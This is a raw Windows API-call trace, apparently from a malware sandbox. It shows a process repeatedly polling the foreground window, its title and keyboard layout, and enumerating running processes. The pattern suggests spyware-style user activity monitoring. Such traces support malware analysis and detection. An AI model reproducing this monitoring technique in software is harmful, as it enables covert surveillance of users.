[0209.816] EnumProcesses (in: lpidProcess=0x251b1e8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x251b1e8, lpcbNeeded=0x4f8f87c) returned 1
[0209.816] GetLastError () returned 0x0
[0209.830] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x32f3248, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x32f3248, ResultLength=0x4f8f840*=0x8c28) returned 0x0
[0209.834] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0209.834] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0209.903] GetForegroundWindow () returned 0x101a2
[0209.903] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0209.957] GetForegroundWindow () returned 0x101a2
[0209.957] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0210.018] GetForegroundWindow () returned 0x101a2
[0210.018] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0210.081] GetForegroundWindow () returned 0x100f6
[0210.081] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0210.081] EnumProcesses (in: lpidProcess=0x2384f10, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2384f10, lpcbNeeded=0x4f8f87c) returned 1
[0210.082] GetLastError () returned 0x0
[0210.083] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3329a00, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3329a00, ResultLength=0x4f8f840*=0x8c28) returned 0x0
[0210.087] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0210.087] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0210.182] GetForegroundWindow () returned 0x101a2
[0210.182] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0210.182] EnumProcesses (in: lpidProcess=0x2396450, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2396450, lpcbNeeded=0x4f8f87c) returned 1
[0210.183] GetLastError () returned 0x0
[0210.184] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3349a20, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3349a20, ResultLength=0x4f8f840*=0x8c28) returned 0x0
[0210.187] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0210.187] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0210.242] GetForegroundWindow () returned 0x101a2
[0210.242] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0211.718] GetForegroundWindow () returned 0x101a2
[0211.718] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0211.781] GetForegroundWindow () returned 0x101a2
[0211.781] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0211.843] GetForegroundWindow () returned 0x100f6
[0211.843] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0211.843] EnumProcesses (in: lpidProcess=0x243605c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x243605c, lpcbNeeded=0x4f8f87c) returned 1
[0211.844] GetLastError () returned 0x0
[0211.844] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34c2fd0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34c2fd0, ResultLength=0x4f8f840*=0x8be8) returned 0x0
[0211.848] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0211.848] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0211.906] GetForegroundWindow () returned 0x101a2
[0211.906] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0211.906] EnumProcesses (in: lpidProcess=0x2447530, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2447530, lpcbNeeded=0x4f8f87c) returned 1
[0211.906] GetLastError () returned 0x0
[0211.907] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34e2ff0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34e2ff0, ResultLength=0x4f8f840*=0x8be8) returned 0x0
[0211.911] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0211.911] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0211.968] GetForegroundWindow () returned 0x101a2
[0211.968] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0212.030] GetForegroundWindow () returned 0x101a2
[0212.030] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0212.093] GetForegroundWindow () returned 0x101a2
[0212.093] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0212.164] GetForegroundWindow () returned 0x100f6
[0212.164] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0212.164] EnumProcesses (in: lpidProcess=0x245920c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x245920c, lpcbNeeded=0x4f8f87c) returned 1
[0212.164] GetLastError () returned 0x0
[0212.165] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3503010, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3503010, ResultLength=0x4f8f840*=0x8be8) returned 0x0
[0212.169] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0212.169] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0212.218] GetForegroundWindow () returned 0x101a2
[0212.218] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0212.218] EnumProcesses (in: lpidProcess=0x246a6e0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x246a6e0, lpcbNeeded=0x4f8f87c) returned 1
[0212.218] GetLastError () returned 0x0
[0212.218] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3523030, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3523030, ResultLength=0x4f8f840*=0x8be8) returned 0x0
[0212.222] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0212.222] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0212.280] GetForegroundWindow () returned 0x101a2
[0212.280] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0212.342] GetForegroundWindow () returned 0x101a2
[0212.342] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0212.405] GetForegroundWindow () returned 0x101a2
[0212.405] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0212.467] GetForegroundWindow () returned 0x100f6
[0212.467] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0212.467] EnumProcesses (in: lpidProcess=0x247c410, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x247c410, lpcbNeeded=0x4f8f87c) returned 1
[0212.468] GetLastError () returned 0x0
[0212.468] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3543050, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3543050, ResultLength=0x4f8f840*=0x8be8) returned 0x0
[0212.472] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0212.472] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0212.530] GetForegroundWindow () returned 0x101a2
[0212.530] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0212.530] EnumProcesses (in: lpidProcess=0x248d8e4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x248d8e4, lpcbNeeded=0x4f8f87c) returned 1
[0212.530] GetLastError () returned 0x0
[0212.531] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3563070, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3563070, ResultLength=0x4f8f840*=0x8be8) returned 0x0
[0212.535] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0212.535] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0212.593] GetForegroundWindow () returned 0x101a2
[0212.593] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0212.654] GetForegroundWindow () returned 0x101a2
[0212.654] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0212.717] GetForegroundWindow () returned 0x101a2
[0212.717] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0212.779] GetForegroundWindow () returned 0x100f6
[0212.779] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0212.779] EnumProcesses (in: lpidProcess=0x249f5c0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x249f5c0, lpcbNeeded=0x4f8f87c) returned 1
[0212.780] GetLastError () returned 0x0
[0212.780] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3583090, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3583090, ResultLength=0x4f8f840*=0x8be8) returned 0x0
[0212.783] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0212.783] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0212.841] GetForegroundWindow () returned 0x101a2
[0212.841] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0212.841] EnumProcesses (in: lpidProcess=0x24b0a94, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24b0a94, lpcbNeeded=0x4f8f87c) returned 1
[0212.842] GetLastError () returned 0x0
[0212.842] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35a30b0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35a30b0, ResultLength=0x4f8f840*=0x8be8) returned 0x0
[0212.845] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0212.845] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0212.904] GetForegroundWindow () returned 0x101a2
[0212.904] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0212.966] GetForegroundWindow () returned 0x101a2
[0212.966] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0213.029] GetForegroundWindow () returned 0x101a2
[0213.029] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0213.095] GetForegroundWindow () returned 0x100f6
[0213.095] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0213.096] EnumProcesses (in: lpidProcess=0x24c2770, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24c2770, lpcbNeeded=0x4f8f87c) returned 1
[0213.096] GetLastError () returned 0x0
[0213.096] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35c30d0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35c30d0, ResultLength=0x4f8f840*=0x8be8) returned 0x0
[0213.100] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0213.100] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0213.153] GetForegroundWindow () returned 0x101a2
[0213.153] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0213.153] EnumProcesses (in: lpidProcess=0x24d3c44, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24d3c44, lpcbNeeded=0x4f8f87c) returned 1
[0213.154] GetLastError () returned 0x0
[0213.154] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35e30f0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35e30f0, ResultLength=0x4f8f840*=0x8be8) returned 0x0
[0213.157] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0213.157] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0213.216] GetForegroundWindow () returned 0x101a2
[0213.216] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0213.278] GetForegroundWindow () returned 0x101a2
[0213.278] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0213.341] GetForegroundWindow () returned 0x101a2
[0213.341] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0213.403] GetForegroundWindow () returned 0x100f6
[0213.403] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0213.403] EnumProcesses (in: lpidProcess=0x24e5974, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24e5974, lpcbNeeded=0x4f8f87c) returned 1
[0213.404] GetLastError () returned 0x0
[0213.404] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3603110, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3603110, ResultLength=0x4f8f840*=0x8be8) returned 0x0
[0213.408] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0213.408] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0213.465] GetForegroundWindow () returned 0x101a2
[0213.466] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0213.466] EnumProcesses (in: lpidProcess=0x24f6e48, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24f6e48, lpcbNeeded=0x4f8f87c) returned 1
[0213.466] GetLastError () returned 0x0
[0213.466] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3623130, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3623130, ResultLength=0x4f8f840*=0x8be8) returned 0x0
[0213.469] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0213.469] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0213.528] GetForegroundWindow () returned 0x101a2
[0213.528] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0213.590] GetForegroundWindow () returned 0x101a2
[0213.590] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0213.653] GetForegroundWindow () returned 0x101a2
[0213.653] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0213.716] GetForegroundWindow () returned 0x100f6
[0213.716] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0213.716] EnumProcesses (in: lpidProcess=0x2508b24, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2508b24, lpcbNeeded=0x4f8f87c) returned 1
[0213.716] GetLastError () returned 0x0
[0213.728] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x32f3248, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x32f3248, ResultLength=0x4f8f840*=0x8be8) returned 0x0
[0213.732] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0213.732] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0213.793] GetForegroundWindow () returned 0x101a2
[0213.793] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0213.793] EnumProcesses (in: lpidProcess=0x23845bc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23845bc, lpcbNeeded=0x4f8f87c) returned 1
[0213.794] GetLastError () returned 0x0
[0213.795] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3329a00, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3329a00, ResultLength=0x4f8f840*=0x8be8) returned 0x0
[0213.798] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0213.799] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0213.856] GetForegroundWindow () returned 0x101a2
[0213.856] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0213.918] GetForegroundWindow () returned 0x101a2
[0213.918] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0213.980] GetForegroundWindow () returned 0x101a2
[0213.980] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0214.043] GetForegroundWindow () returned 0x100f6
[0214.043] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0214.043] EnumProcesses (in: lpidProcess=0x2396298, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2396298, lpcbNeeded=0x4f8f87c) returned 1
[0214.043] GetLastError () returned 0x0
[0214.044] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3349a20, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3349a20, ResultLength=0x4f8f840*=0x8be8) returned 0x0
[0214.047] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0214.047] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0214.105] GetForegroundWindow () returned 0x101a2
[0214.105] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0214.105] EnumProcesses (in: lpidProcess=0x23a776c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23a776c, lpcbNeeded=0x4f8f87c) returned 1
[0214.106] GetLastError () returned 0x0
[0214.106] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33a1eb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33a1eb0, ResultLength=0x4f8f840*=0x8be8) returned 0x0
[0214.109] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0214.109] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0214.168] GetForegroundWindow () returned 0x101a2
[0214.168] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0214.230] GetForegroundWindow () returned 0x101a2
[0214.230] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0214.292] GetForegroundWindow () returned 0x101a2
[0214.292] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0214.355] GetForegroundWindow () returned 0x100f6
[0214.355] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0214.355] EnumProcesses (in: lpidProcess=0x23b949c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23b949c, lpcbNeeded=0x4f8f87c) returned 1
[0214.355] GetLastError () returned 0x0
[0214.356] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33c1ed0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33c1ed0, ResultLength=0x4f8f840*=0x8be8) returned 0x0
[0214.360] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0214.360] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0214.418] GetForegroundWindow () returned 0x101a2
[0214.418] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0214.418] EnumProcesses (in: lpidProcess=0x23ca970, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23ca970, lpcbNeeded=0x4f8f87c) returned 1
[0214.419] GetLastError () returned 0x0
[0214.419] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e1ef0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33e1ef0, ResultLength=0x4f8f840*=0x8be8) returned 0x0
[0214.425] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0214.426] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0214.480] GetForegroundWindow () returned 0x101a2
[0214.480] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0214.542] GetForegroundWindow () returned 0x101a2
[0214.542] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0214.604] GetForegroundWindow () returned 0x101a2
[0214.604] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0214.667] GetForegroundWindow () returned 0x100f6
[0214.667] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0214.667] EnumProcesses (in: lpidProcess=0x23dc64c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23dc64c, lpcbNeeded=0x4f8f87c) returned 1
[0214.667] GetLastError () returned 0x0
[0214.668] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3401f10, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3401f10, ResultLength=0x4f8f840*=0x8be8) returned 0x0
[0214.672] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0214.672] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0214.730] GetForegroundWindow () returned 0x101a2
[0214.730] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0214.730] EnumProcesses (in: lpidProcess=0x23edb20, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23edb20, lpcbNeeded=0x4f8f87c) returned 1
[0214.731] GetLastError () returned 0x0
[0214.733] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3421f30, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3421f30, ResultLength=0x4f8f840*=0x8be8) returned 0x0
[0214.737] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0214.737] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0214.792] GetForegroundWindow () returned 0x101a2
[0214.792] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0214.854] GetForegroundWindow () returned 0x101a2
[0214.854] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0214.916] GetForegroundWindow () returned 0x101a2
[0214.917] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0214.979] GetForegroundWindow () returned 0x100f6
[0214.979] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0214.979] EnumProcesses (in: lpidProcess=0x23ff7fc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23ff7fc, lpcbNeeded=0x4f8f87c) returned 1
[0214.979] GetLastError () returned 0x0
[0214.980] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3441f50, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3441f50, ResultLength=0x4f8f840*=0x8be8) returned 0x0
[0214.984] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0214.984] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0215.041] GetForegroundWindow () returned 0x101a2
[0215.041] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0215.041] EnumProcesses (in: lpidProcess=0x2410cd0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2410cd0, lpcbNeeded=0x4f8f87c) returned 1
[0215.042] GetLastError () returned 0x0
[0215.042] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3461f70, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3461f70, ResultLength=0x4f8f840*=0x8be8) returned 0x0
[0215.046] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0215.046] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0215.103] GetForegroundWindow () returned 0x101a2
[0215.103] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0215.166] GetForegroundWindow () returned 0x101a2
[0215.166] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0215.228] GetForegroundWindow () returned 0x101a2
[0215.228] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0215.292] GetForegroundWindow () returned 0x100f6
[0215.292] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0215.292] EnumProcesses (in: lpidProcess=0x2422a00, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2422a00, lpcbNeeded=0x4f8f87c) returned 1
[0215.293] GetLastError () returned 0x0
[0215.293] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3482f90, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3482f90, ResultLength=0x4f8f840*=0x8b68) returned 0x0
[0215.298] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0215.298] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0215.353] GetForegroundWindow () returned 0x101a2
